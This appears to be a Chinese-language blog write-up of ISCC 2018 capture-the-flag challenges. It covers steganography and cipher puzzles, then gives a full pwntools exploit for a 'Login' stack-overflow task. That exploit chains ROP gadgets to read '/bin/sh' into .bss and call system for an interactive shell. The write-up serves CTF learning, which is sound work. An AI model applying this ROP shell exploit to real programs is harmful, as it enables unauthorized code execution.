2018-ISCC

misc-What is that?

Where is the FLAG? 拿到一个png文件,从图的内容来看,应该是指flag在下面,于是果断打开winhex改了图片的高,就显示出flag了

misc-秘密电报

知识就是力量

拿到一个rar压缩包,里面一个txt,内容是这样的: 之前先经过binwalk没有发现什么东西,flag应该就是这串密码了,观察后发现有点像培根密码,拿去在线解密一波就出flag了: http://tool.ph0en1x.com/bacon/

misc- 一只猫的心思

你能读懂它的心思吗?

拿到一个压缩包,里面一张jpg图片,binwalk一波和stegsove一波都没发现什么问题,然后就扔到winhex里面去,找一波文件头和文件尾: 然而文件尾后面还有东西,说明有古怪,提取出来,发现得到一个doc文件,里面是一堆佛语?? 查了一下发现,这是一种加密方法,叫做佛曰加密,直接扔到在线解密(需要注意在前面加上): 然后就解出一堆base家族的密码了,接下去就可以得到flag,我就懒得写了

misc-暴力XX不可取

A同学要去参加今年的ISCC。大赛在即,A同学准备了一批暴力破解工具,你感觉这个靠谱吗?

这道题有点无语,应该是一个压缩包的伪加密。然而我的解压软件自带破伪加密的,因此我直接点开就可以读flag了

当然,正确的解法还是得学一波,看了一哈大佬们的wp,发现有两种解法: 第一种是这样的: 第二种则是扔到winhex里面去改里面内容从而解除伪加密:

misc-where is the flag

这道题很无语,看来大佬的wp才发现是要用Adobe Fireworks CS5工具打开这张图片,然后就可以看到图层里有一张二维码,还得一定是这个版本的才行,2017的ps都不行,扫了二维码以后就是flag了

misc-重重谍影

是base64和url的混合加密,加密加了十多层。。。 然后最后得到一个这样的: 这里有一点贼无语,如果你解到这一步得到的东西里面,没有“+”号,那么后面的aes解密是解不出来的,刚开始就解出空格,结果后面aes怎么样都弄不出来 然后就是与佛论禅加密了,加个“佛曰:”解一下就出来flag了

misc-凯撒十三世

这题没做出来,刚刚开始看到题目描述,感觉是rot13和键盘密码,思路是没错的 然而键盘密码那里没想出怎么做,看了大佬的wp。。 这个键盘密码我是真的服,就是对应的键位往下移一位: rot13解出了:roqtp697t95j3 键盘上下移: flag:yougotme

misc-有趣的ISCC

这后面很多题目我就没去做了,直接赛后看大佬们的wp,现在看看其实还是挺多题目挺简单的 这题说是直接扔到winhex这类的软件里面去,看到文件尾处有个Unicode编码 提出来,解密得到一个16进制编码,然后在解密,flag就出来了

#misc-数字密文 这题其实也是简单到令人发指,但是刚开始还以为是什么九宫格密码或者什么其他键盘密码,结果就一base16加密。、、、、

pwn-Login

这道题是简单的栈溢出,用rop就可以搞定,但有一个坑是只能输入一次,不能返回mian函数再进行二次输入,只能通过构造rop维持栈平衡来连续执行read函数、system函数

完整exp如下:

#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./pwn50')
#p = remote('47.104.16.75',9000)
elf = ELF("./pwn50")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
bss=elf.bss() 

system_plt = elf.plt["system"]
print "system_plt:"+hex(system_plt)
system_got = elf.got["system"]
print "system_got:"+hex(system_got)
read_plt = elf.plt["read"]
print "read_plt:"+hex(read_plt)
read_got = elf.got["read"]
print "read_got:"+hex(read_got)
main = 0x400a8e
pop_rdi_ret=0x400b03#: pop rdi ; ret
pop_rsi_r15_ret=0x400b01# : pop rsi ; pop r15 ; ret


payload1 = 'a'*0x58 +p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_r15_ret)+p64(bss)+p64(0xdeadbeef)+p64(read_plt)
payload1 += p64(pop_rdi_ret)+p64(bss) + p64(system_plt)

p.recvuntil('username: ')
p.sendline('admin')
sleep(0.1)

p.recvuntil('password: ')
p.sendline('T6OBSh2i')
sleep(0.1)

p.recvuntil('Your choice:')
p.sendline(payload1)

p.recvuntil('Your choice:')
p.send('3')

p.sendline('/bin/sh\0')

p.interactive()

总结

这次ISCC没有很认真的参加,只有前一个星期在认真做题,后面的就基本没有看了,因为那段时间有点低迷,状态非常差,什么都不想干只想当一条咸鱼,然而作为一个萌新pwn手也就只做出一道pwn题,其他的都是misc题拿分,太菜太菜了,还是赶紧找回状态继续努力吧